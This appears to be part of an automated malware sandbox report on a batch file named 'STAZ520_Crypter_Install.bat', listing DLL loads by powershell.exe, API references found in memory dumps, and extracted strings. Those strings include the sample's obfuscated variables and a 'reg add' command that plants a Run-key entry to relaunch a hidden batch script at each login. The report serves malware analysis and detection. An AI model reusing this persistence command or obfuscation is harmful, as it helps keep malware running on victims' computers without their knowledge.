"LoadLibrary" with a parameter secur32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\9494eda0c9af503cb61fe450b5ba9c1a\Microsoft.PowerShell.Commands (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\468fa5ae84991aaf4d90ecee8788f024\Microsoft.PowerShell.Commands (UID: 00000000-00003984) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\468fa5ae84991aaf4d90ecee8788f024\Microsoft.PowerShell.Commands (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00008016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\9494eda0c9af503cb61fe450b5ba9c1a\Microsoft.PowerShell.Commands (UID: 00000000-00008016)34:T301a,Found reference to API (Indicator: "RaiseFailFastException"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosErrorNoTeb"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "RtlDllShutdownInProgress"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "OpenSemaphoreW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockShared"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexExW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockShared"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp") Found reference to API (Indicator: "CryptExportKey"; Source: "00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp")35:T11e8,"ntifier -Value ''" >nul 2>&1)set retry=0:reg_retryreg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "731d8cc2b9" /t REG_SZ /d "cmd.exe /c \"!e93cac47d8!\"" /f >nul 2>&1if !ERRORLEVEL! neq 0 ( set /a retry+=1 if !retry! lss 3 ( ping -n 2 127.0.0.1 >nul goto reg_retry ))set 64ded73fc100a94e1e38c9879cf7317db7016becce04253a97d16d97d11b=15678a732d8c5a12b709c1a6e62d823c0291f07b14eafcb071set cbd684252755338c53370489346e66257ed9f58f82e91fed74a58ba74955=ef9b3354e7b37217753e27df56abc5a1a9a1c4c232d25a6854set d7cea312421d40f1d22a75217fe2a013efb171feb0bd5183a9c37d900bbf=439d758259bb38a97559abe16d23bd2a3eb0736fe6d23ce894set 667cc19019371501ffb40efacb782ab6c91c41f7789303c10136f15a0eec=2bb5fc85bafcc36a5119eae3c278568e88b4fe6106edf5f08fset 19d85c7db76b99c2596d4a1df84b433e05bddc8fd04d078d4d01db7f2c3f=c6bc9d10f8d50e99809d944eae93946a4169f05d7ebe589115set 3ff257e18e3ecdf390ed7b7f1f0559edae2a16fed3f24464917e57bfac3c=12ddfcd9f11eaac18f99e4bfaa4c96412124662b0c9b" in Source: STAZ520_Crypter_Install.bat, "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "731d8cc2b9" /t REG_SZ /d "cmd.exe /c \"!e93cac47d8!\"" /f >nul 2>&1" in Source: STAZ520_Crypter_Install.bat, "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "731d8cc2b9" /t REG_SZ /d "cmd.exe /c \"%USERPROFILE%\AppData\" in Source: 00000000-00003400-00000C46-27447667653, "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "731d8cc2b9" /t REG_SZ /d "cmd.exe /c \"%APPDATA%\Microsoft\118f410eb6ac\e321775766cf4f3d.bat\"" /f" in Source: reg.exe, "o turn this feature off remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001132.00000000.134891.5C440000.00000004.mdmp, 00000000-00001132.00000000.134891.76850000.00000004.mdmp, 00000000-00001132.00000001.135191.5C470000.00000004.mdmp, "o enable assembly bind failure logging set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001132.00000000.134891.5C440000.00000004.mdmp, 00000000-00001132.00000001.135191.5C470000.00000004.mdmp, "Machine\Software\Classes\CLSID" in Source: 00000000-00001132.00000000.134891.5C440000.00000004.mdmp, 00000000-00001132.00000001.135191.5C470000.00000004.mdmp, "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001132.00000000.134891.5C440000.00000004.mdmp, 00000000-00001132.00000001.135191.5C470000.00000004.mdmp, "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001132.00000000.134891.5C440000.00000004.mdmp, 00000000-00001132.00000001.135191.5C470000.00000004.mdmp, "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001132.00000000.134891.5C440000.00000004.mdmp, 00000000-00001132.00000001.135191.5C470000.00000004.mdmp, "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp, "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp, 